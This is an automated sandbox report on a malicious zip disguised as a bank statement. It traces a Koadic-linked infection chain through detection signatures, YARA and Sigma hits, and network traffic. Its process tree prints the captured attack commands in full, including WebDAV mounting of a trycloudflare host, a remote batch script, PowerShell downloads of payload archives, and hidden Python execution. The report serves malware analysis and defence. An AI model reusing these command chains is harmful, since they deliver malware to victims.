Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://starurileromaniei.ro/e_Statement89304.zip

Overview

General Information

Sample URL:https://starurileromaniei.ro/e_Statement89304.zip
Analysis ID:1465638
Infos:

Detection

Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Sigma detected: rundll32 run dll from internet
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Opens network shares
Powershell drops PE file
Sigma detected: Powerup Write Hijack DLL
Suspicious powershell command line found
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Drops PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Cloudflared Tunnels Related DNS Requests
Sigma detected: File Download From Browser Process Via Inline URL
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Yara signature match

Classification

  • System is w10x64_ra
  • chrome.exe (PID: 1816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://starurileromaniei.ro/e_Statement89304.zip MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 6188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2000,i,571678873360885315,3539969036988688924,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • rundll32.exe (PID: 6976 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)
  • svchost.exe (PID: 7112 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • rundll32.exe (PID: 6760 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/ MD5: EF3179D498793BF4234F708D3BE28633)
  • rundll32.exe (PID: 6808 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/ MD5: EF3179D498793BF4234F708D3BE28633)
  • cmd.exe (PID: 7612 cmdline: C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • chrome.exe (PID: 7692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 7912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2004,i,17700825178854876530,18121355293118229329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • timeout.exe (PID: 7708 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)
    • powershell.exe (PID: 7780 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 7924 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • rundll32.exe (PID: 6516 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/ MD5: EF3179D498793BF4234F708D3BE28633)
  • cmd.exe (PID: 6380 cmdline: C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • chrome.exe (PID: 7476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 7880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1940,i,14827596700435585554,17066039086645689782,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • timeout.exe (PID: 6928 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)
    • powershell.exe (PID: 828 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 5720 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • timeout.exe (PID: 1144 cmdline: timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)
    • attrib.exe (PID: 3916 cmdline: attrib +h "C:\Users\user\Downloads\Python" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
    • AppInstallerPythonRedirector.exe (PID: 3840 cmdline: python.exe money.py MD5: 5E1055E69FF01930C62388625726A90E)
    • AppInstallerPythonRedirector.exe (PID: 2784 cmdline: python.exe moment.py MD5: 5E1055E69FF01930C62388625726A90E)
    • AppInstallerPythonRedirector.exe (PID: 3604 cmdline: python.exe update.py MD5: 5E1055E69FF01930C62388625726A90E)
    • AppInstallerPythonRedirector.exe (PID: 2204 cmdline: python.exe upload.py MD5: 5E1055E69FF01930C62388625726A90E)
    • AppInstallerPythonRedirector.exe (PID: 5884 cmdline: python.exe time.py MD5: 5E1055E69FF01930C62388625726A90E)
    • AppInstallerPythonRedirector.exe (PID: 2816 cmdline: python.exe kam.py MD5: 5E1055E69FF01930C62388625726A90E)
    • AppInstallerPythonRedirector.exe (PID: 3644 cmdline: python.exe momentomo.py MD5: 5E1055E69FF01930C62388625726A90E)
    • chrome.exe (PID: 3956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 5136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1912,i,7060679006501850465,5674382277047701771,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • timeout.exe (PID: 4608 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)
    • powershell.exe (PID: 5152 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 2916 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • rundll32.exe (PID: 7584 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/new.bat MD5: EF3179D498793BF4234F708D3BE28633)
  • cleanup
SourceRuleDescriptionAuthorStrings
C:\Users\user\Downloads\startupppp.batMALWARE_BAT_KoadicBATKoadic post-exploitation framework BAT payloadditekSHen
  • 0x2:$s1: &@cls&@set
  • 0x5b:$s2: :~11,1%%
  • 0x67:$s2: :~24,1%%
  • 0x73:$s2: :~32,1%%
  • 0x7f:$s2: :~43,1%%
  • 0x8b:$s2: :~13,1%%
  • 0xa0:$s2: :~16,1%%
  • 0xac:$s2: :~13,1%%
  • 0xb8:$s2: :~7,1%%
  • 0xc3:$s2: :~7,1%
  • 0xd0:$s2: :~59,1%%
  • 0xdc:$s2: :~24,1%%
  • 0xe8:$s2: :~37,1%%
  • 0xf4:$s2: :~1,1%%
  • 0xff:$s2: :~13,1%%
  • 0x10b:$s2: :~32,1%%
  • 0x117:$s2: :~47,1%%
  • 0x123:$s2: :~1,1%
  • 0x134:$s2: :~16,1%%
  • 0x140:$s2: :~26,1%%
  • 0x14c:$s2: :~24,1%%
C:\Users\user\Downloads\startupppp.batMALWARE_BAT_KoadicBATKoadic post-exploitation framework BAT payloadditekSHen
  • 0x2:$s1: &@cls&@set
  • 0x5b:$s2: :~11,1%%
  • 0x67:$s2: :~24,1%%
  • 0x73:$s2: :~32,1%%
  • 0x7f:$s2: :~43,1%%
  • 0x8b:$s2: :~13,1%%
  • 0xa0:$s2: :~16,1%%
  • 0xac:$s2: :~13,1%%
  • 0xb8:$s2: :~7,1%%
  • 0xc3:$s2: :~7,1%
  • 0xd0:$s2: :~59,1%%
  • 0xdc:$s2: :~24,1%%
  • 0xe8:$s2: :~37,1%%
  • 0xf4:$s2: :~1,1%%
  • 0xff:$s2: :~13,1%%
  • 0x10b:$s2: :~32,1%%
  • 0x117:$s2: :~47,1%%
  • 0x123:$s2: :~1,1%
  • 0x134:$s2: :~16,1%%
  • 0x140:$s2: :~26,1%%
  • 0x14c:$s2: :~24,1%%
C:\Users\user\Downloads\startupppp.batMALWARE_BAT_KoadicBATKoadic post-exploitation framework BAT payloadditekSHen
  • 0x2:$s1: &@cls&@set
  • 0x5b:$s2: :~11,1%%
  • 0x67:$s2: :~24,1%%
  • 0x73:$s2: :~32,1%%
  • 0x7f:$s2: :~43,1%%
  • 0x8b:$s2: :~13,1%%
  • 0xa0:$s2: :~16,1%%
  • 0xac:$s2: :~13,1%%
  • 0xb8:$s2: :~7,1%%
  • 0xc3:$s2: :~7,1%
  • 0xd0:$s2: :~59,1%%
  • 0xdc:$s2: :~24,1%%
  • 0xe8:$s2: :~37,1%%
  • 0xf4:$s2: :~1,1%%
  • 0xff:$s2: :~13,1%%
  • 0x10b:$s2: :~32,1%%
  • 0x117:$s2: :~47,1%%
  • 0x123:$s2: :~1,1%
  • 0x134:$s2: :~16,1%%
  • 0x140:$s2: :~26,1%%
  • 0x14c:$s2: :~24,1%%

System Summary

barindex
Source: File createdAuthor: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5152, TargetFilename: C:\Users\user\Downloads\startupppp.bat
Source: DNS queryAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Image: C:\Program Files\Google\Chrome\Application\chrome.exe, QueryName: verizon-tops-sports-gba.trycloudflare.com
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://starurileromaniei.ro/e_Statement89304.zip, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://starurileromaniei.ro/e_Statement89304.zip, CommandLine|base64offset|contains: -j~b,, Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2760, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://starurileromaniei.ro/e_Statement89304.zip, ProcessId: 1816, ProcessName: chrome.exe
Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5152, TargetFilename: C:\Users\user\Downloads\startupppp.bat
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 7780, ProcessName: powershell.exe
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 7780, ProcessName: powershell.exe
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 7780, ProcessName: powershell.exe
Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7112, ProcessName: svchost.exe

Data Obfuscation

barindex
Source: Process startedAuthor: Joe Security: Data: Command: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/, CommandLine: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 6896, ProcessCommandLine: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie verizon-tops-sports-gba.trycloudflare.com@SSL https://verizon-tops-sports-gba.trycloudflare.com/, ProcessId: 6760, ProcessName: rundll32.exe
No Snort rule has matched

Click to jump to signature section

Show All Signature Results
Source: https://ogs.google.com/widget/app/so?awwd=1&gm3=1&origin=chrome-untrusted%3A%2F%2Fnew-tab-page&origin=chrome%3A%2F%2Fnew-tab-page&cn=app&pid=1&spid=243&hl=enHTTP Parser: No favicon
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: unknownTCP traffic detected without corresponding DNS query: 104.16.231.132
Source: global trafficDNS traffic detected: DNS query: starurileromaniei.ro
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficDNS traffic detected: DNS query: apis.google.com
Source: global trafficDNS traffic detected: DNS query: play.google.com
Source: global trafficDNS traffic detected: DNS query: verizon-tops-sports-gba.trycloudflare.com
Source: global trafficDNS traffic detected: DNS query: ogs.google.com
Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49701
Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49786
